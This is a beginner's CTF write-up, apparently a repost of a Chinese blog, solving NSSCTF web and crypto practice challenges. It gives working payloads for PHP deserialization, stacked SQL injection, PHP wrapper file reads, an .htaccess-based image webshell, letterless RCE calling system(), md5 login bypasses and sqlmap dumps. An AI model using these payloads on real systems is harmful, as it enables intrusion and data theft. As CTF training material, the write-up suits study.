[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②

news2025/2/26 21:25:42

[SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp)

    • [SWPUCTF 2021 新生赛]no_wakeup
    • [鹤城杯 2021]easy_crypto
    • [suctf 2019]EasySQL
    • [ZJCTF 2019]NiZhuanSiWei
    • [强网拟态 2021]拟态签到题
    • [BJDCTF 2020]easy_md5
    • [SWPUCTF 2021 新生赛]easyupload3.0
    • [SWPUCTF 2021 新生赛]hardrce
    • [SWPUCTF 2021 新生赛]PseudoProtocols
    • [SWPUCTF 2021 新生赛]crypto7
    • [SWPUCTF 2021 新生赛]crypto8
    • [SWPUCTF 2021 新生赛]error
    • [NISACTF 2022]easyssrf

NSSCTF平台:https://www.nssctf.cn/

[SWPUCTF 2021 新生赛]no_wakeup

考点:反序列化

在这里插入图片描述

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?

这里需要使得admin=admin并且passwd=wllm 即可获取flag 但是这里还需要绕过__wakeup()函数其实这里存在CVE-2016-7124漏洞

Payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

在这里插入图片描述

NSSCTF{5acad0c1-bc24-410e-bffe-6c8896d54e46}

[鹤城杯 2021]easy_crypto

社会主义核心价值观编码:https://sym233.github.io/core-values-encoder/
在这里插入图片描述

NSSCTF{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}

[suctf 2019]EasySQL

考点:堆叠注入

在这里插入图片描述

输入0没反应输入1有 因为过滤了很多参数 这里我们直接堆叠注入即可。

在这里插入图片描述

1; show database;  ## 爆数据库名

在这里插入图片描述

1; show tables;  ## 爆数据表

在这里插入图片描述
之前第一篇的使用有讲过可以猜测 所以用到* 查看所有 *1,(不太会sql 只能记命令,呜呜呜)

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

考点:代码审计和伪协议

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这里来看一下代码大概的意思 这里有3GET传参 先来看第一个if

  • isset()函数:用于检测变量是否已设置并且非NUL
  • file_get_contents()函数 :把整个文件读入一个字符串中

如果传入的text不为空;那么file_get_contentstext的内容必须等于后面的welcome to the zjctf

这可以通过伪协议去绕过第一个if?text=data://text/plain,welcome to the zjctf

preg_match() 函数:执行正则表达式匹配,文件中不能出现flag。我们先尝试直接访问useless.php

通过php://读取到uselist.php文件内容:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
在这里插入图片描述
解码后源代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

使用在线工具:https://c.runoob.com/compile/1/ 序列化对象后赋值,查看源码得到flag

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

在这里插入图片描述

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
O #对象 变量类型
4 #类的长度
1 ## 属性数量(类的变量个数)
s # 代表字符串
Payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

NSSCTF{05a42800-8e18-4a04-8fb3-266650e12f02}

[强网拟态 2021]拟态签到题

Base64解码:ZmxhZ3tHYXFZN0t0RXRyVklYMVE1b1A1aUVCUkNZWEVBeThyVH0=

在这里插入图片描述

NSSCTF{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

[BJDCTF 2020]easy_md5

考点:ffifdyop绕过

随便输点然后抓个包有个hint提示 ffifdyop绕过
在这里插入图片描述
在这里插入图片描述
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

在这里插入图片描述
在这里插入图片描述
弱类型比较 直接可以用科学计数法0e进行绕过 Payload:?a=s1091221200a&b=s155964671a

240610708
0e462097431906509019562988736854


NKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

这里还有一关代码审计 判断两个参数不相等 且md5值相等 所以这里需要数组绕过

param1[]=1&param2[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

在这里插入图片描述

NSSCTF{7c1a1f48-e3b1-4c3c-a876-84698ea47e20} 这flag提交不对哇擦~

[SWPUCTF 2021 新生赛]easyupload3.0

考点:.htaccess 解析图片马
在这里插入图片描述
这里新建一个a.htaccess 内容如下,然后在上传123.jpg就可以解析了 然后上传成功使用蚁剑连接

<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
在这里插入图片描述

NSSCTF{92184fe5-dadd-4cb1-98d2-5c553065110d}

[SWPUCTF 2021 新生赛]hardrce

考点:无字母RCE

这里参考大佬的文章:无字母RCE

无数字字母rce:就是不利用数字和字母构造出webshell,从而能够执行我们的命令
主要用到两种方法:1.异或 2.取反两种方法,这两种方法是目前来看最实用的两种方法。

header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这里参考大佬博客:https://blog.csdn.net/miuzzx/article/details/109143413

system是(~%8C%86%8C%8B%9A%92)
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);

脚本(套神):

s = "ls"
for i in range(len(s)):
    print('%'+str(hex((255)-ord(s[i]))[2:]),end='')

然后cat /flllllaaaaaaggggggg即可。

?wllm=~(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);

在这里插入图片描述

在这里插入图片描述

[SWPUCTF 2021 新生赛]PseudoProtocols

考点:伪协议

在这里插入图片描述
这里给了提示找到hint.php 然后url 里面有个wllm参数 直接使用伪协议然后访问test2222222222222.php进行代码审计

Payload:php://filter/read/convert.base64-encode/resource=hint.php

在这里插入图片描述
Base64解码:PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

在这里插入图片描述

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?> 

a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话输出flag

可以使用两种:

①:php://input ​打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。
②:data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数。

PayLoad:?a=data://text/plain,I want flag

在这里插入图片描述
在这里插入图片描述

NSSCTF{208f041b-4756-4c52-96ae-b07e84395615}

[SWPUCTF 2021 新生赛]crypto7

MD5解密:https://www.cmd5.com/

在这里插入图片描述

NSSCTF{md5yyds}

[SWPUCTF 2021 新生赛]crypto8

uuencode解码:http://www.metools.info/master/uuencode158.html
在这里插入图片描述

NSSCTF{cheese_is_power}

[SWPUCTF 2021 新生赛]error

考点:sqlmap的使用

在这里插入图片描述
随便输入一个1’ 发现报错 存在字符型注入
在这里插入图片描述
直接使用sqlmap工具:

sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" --dbs #列出数据库

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_test --tables  #列出表

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb --columns   #列出字段

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb -C flag --dump  #查看flag值

在这里插入图片描述

NSSCTF{1b1761ce-d458-4f91-8912-11c62cda2779}

[NISACTF 2022]easyssrf

在这里插入图片描述
这里直接使用file://读取在/fl4g下面得到了一个ha1x1xu1u.php

在这里插入图片描述
在这里插入图片描述

 <?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file); 

Payload:?file=php://filter/read/convert.base64-encode/resource=/flag

在这里插入图片描述
在这里插入图片描述

NSSCTF{6347b3f0-35b6-42de-92b2-32d6114f6a63}

在这里插入图片描述

🆗感谢大家观看 第二篇就先到这里了,我也是刚入门,希望对刚入门CTF想刷题的小伙伴有帮助感谢大家的支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/443487.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python解决微软Microsoft的登录机器人验证

前言 本文是该专栏的第8篇,结合优质项目案例,让你精通使用Pyppeteer,后面会持续分享Pyppeteer的干货知识,记得关注。 在注册微软Microsoft账号或者注册outlook邮箱账号的时候,会遇到如下机器人验证: 是的,你可能第一眼看到这个验证页面,首先会想到是定位它的页面元素N…

数据结构各结构特点(数组、链表、栈、队列、树)

目录 一、数组 二、链表 三、栈 四、队列 五、树 1.二叉树 2.二叉查找树 3.平衡二叉树&#xff08;AVL树&#xff09; 4.红黑树 六、总结&#xff1a; 1.红黑树和平衡二叉树的区别&#xff1a; 2.为什么有了数组和链表还要引入二叉树&#xff1f; 3.为什么有了二叉树…

【Linux】从机I/O线程报错

一、报错问题 I/O线程报错 查看/var/log/mysqld.d日志&#xff0c;查看报错&#xff1b; 在从机&#xff0c;telnet主机的3306端口显示拒绝连接&#xff1b; 并且从机mysql登录用户密码问题&#xff0c;密码输入正确但是报错【ERROR 1045 (28000): Access denied for user root…

软件开发中的DevOps实践

一、引言 在软件开发领域&#xff0c;为了满足用户需求、提升产品质量、缩短产品上线时间&#xff0c;DevOps已经成为一种流行的开发实践方式。本文将从什么是DevOps、DevOps的理念、DevOps的价值、DevOps的实践等方面详细介绍DevOps在软件开发中的实践。 二、什么是DevOps …

python爬虫原理及源码解析(入门)

目录 一、爬虫是什么&#xff1f;二、爬虫的基本原理三、HTTP协议与响应4、爬虫实现源码 一、爬虫是什么&#xff1f; ​ 如果将互联网比作一张大的蜘蛛网&#xff0c;数据便是存放在蜘蛛网的各个节点&#xff0c;而爬虫就是一只小蜘蛛&#xff0c;沿着网络抓取自己的猎物(数据…

用spring-boot-starter实现事务的统一配置

一、前言 微服务架构下&#xff0c;多个微服务都需要事务操作&#xff0c;如果在每个微服务下都从头配置事务&#xff0c;将非常繁锁。事务配置具有高度的一致性&#xff0c;可以抽取出来&#xff0c;制作starter&#xff0c;在需要配置事务的服务中引入starter依赖即可。 采用…

NFS(UOS)

appsrv 172.16.146.11 strogesrv 172.16.146.53 共享/data/share目录 用于存储app主机的web数据 仅允许stora访问该共享 安装nfs apt install nfs-common nfs-kernel-server -y mkdir /data/share /data/share 172.16.146.50(rw,sync,no_root_squash,insecure) 重启服…

志特转债上市价格预测

志特转债 基本信息 转债名称&#xff1a;志特转债&#xff0c;评级&#xff1a;A&#xff0c;发行规模&#xff1a;6.14033亿元。 正股名称&#xff1a;志特新材&#xff0c;今日收盘价&#xff1a;35.6元&#xff0c;转股价格&#xff1a;41.08元。 当前转股价值 转债面值 / …

微服务学习高级篇【5】之服务异步通信(rabbitmq的高级特性)

文章目录 环境准备&#xff1a;MQ部署【docker环境】消息可靠性生产者消息确认项目配置定义Return回调和ConfirmCallback 消息持久化交换机持久化队列持久化消息持久化 消费者消息确认none模式演示 消费失败重试机制本地重试失败策略 总结 死信交换机初识死信交换机死信交换机接…

【DHCP原理与配置】

目录 一、了解DHCP服务使用DHCP的好处DHCP的分配方式 二、DHCP的租约过程传输协议端口DHCP的IP地址自动获取工作原理 三、配置DHCP服务器安装dhcp查看配置文件根据配置文件提示查看相关文档 四、模拟外网和内网互通进入主机1的设置进入主机2的设置复制dhcp文件&#xff0c;修改…

Nginx 优化与防盗链

Ngnix优化主要有两种&#xff0c;一种是配置上的优化&#xff0c;一种是内核上的优化 实验准备&#xff1a;安装好一台Nginx服务器&#xff0c;IP&#xff1a;192.168.126.22&#xff0c;域名&#xff1a;www.accp.com 浏览器访问nginx服务器此时F12查看网页信息&#xff0c;可…

MySQL之表的约束

目录 一 空属性 定义 如何设置 示例 影响&#xff1a; 二 默认值 定义 示例 影响&#xff1a; 三 列描述 定义 示例 影响&#xff1a; 四 zerofill 定义&#xff1a; 示例&#xff1a; 影响&#xff1a; 五 主键 定义 主键的性质是什么&#xff1a; 为什么要…

C++——一种特殊的二叉搜索树之红黑树

目录 1 红黑树的概念2 红黑树的性质3 红黑树节点的定义4 红黑树的插入操作情况一: cur为红&#xff0c;p为红&#xff0c;g为黑&#xff0c;u存在且为红。情况二: cur为红&#xff0c;p为红&#xff0c;g为黑&#xff08;不存在连续的红结点&#xff09;&#xff0c;u不存在/u存…

设计模式 -- 适配器模式

前言 月是一轮明镜,晶莹剔透,代表着一张白纸(啥也不懂) 央是一片海洋,海乃百川,代表着一块海绵(吸纳万物) 泽是一柄利剑,千锤百炼,代表着千百锤炼(输入输出) 月央泽,学习的一种过程,从白纸->吸收各种知识->不断输入输出变成自己的内容 希望大家一起坚持这个过程,也同…

第五篇 Spring 集合注入、作用域

《Spring》篇章整体栏目 ————————————————————————————— 【第一章】spring 概念与体系结构 【第二章】spring IoC 的工作原理 【第三章】spring IOC与Bean环境搭建与应用 【第四章】spring bean定义 【第五章】Spring 集合注入、作用域 【第六章】…

时间序列分析卫星重力梯度观测值

阚昊宇 1 时间序列图 导入数据&#xff0c;共2880历元&#xff08;86370 s&#xff09;数据&#xff0c;取前2400历元&#xff08;72000 s&#xff09;数据作为训练集&#xff0c;后480历元作为测试集。将训练集绘制时间序列图如下图 1红色线所示&#xff0c;可见明显的自相关…

elementUI-el-table组件使用总结

一、背景 vue2项目中用到el-table这个组件&#xff0c;但基础的功能不够用&#xff0c;所以需要自定义 二、表头自定义 比如要让表头展现出下面的形式&#xff1a; 只需使用 slot"header" slot-scope"scope" 对插槽进行定义&#xff0c;并绑定变量 <…

快手视频艾特实操教学分享,什么是艾特脚本,评论区艾特引流脚本讲解!

大家好我是你们的小编一辞脚本&#xff0c;今天给大家分享新的知识&#xff0c;很开心可以在CSDN平台分享知识给大家,很多伙伴看不到代码我先录制一下视频 在给大家做代码&#xff0c;给大家分享一下快手艾特脚本的知识和视频演示 不懂的小伙伴可以认真看一下&#xff0c;我们…

Windows系统开启防火墙,Ubuntu与Windows互通

1.启用Windows系统防火墙&#xff0c;&#xff0c;单击"高级设置" 2.单击“入站2规则” 3.单击 “新建规则“ 4.选择“端口” 端口号设置hanwin NFS中包括的端口号。 5.选择 TCP 填写 hanewin中的端口号&#xff0c;然后单击“确认” 6.单击“入站规则” 7.右击 nf…

JAVAWeb06-动态WEB开发核心Servlet-03

1. HttpServletRequest 1.1 HttpServletRequest 介绍 HttpServletRequest 对象代表客户端的请求当客户端/浏览器通过 HTTP 协议访问服务器时&#xff0c;HTTP 请求头中的所有信息都封装在这 个对象中通过这个对象的方法&#xff0c;可以获得客户端这些信息。 1.2 HttpServle…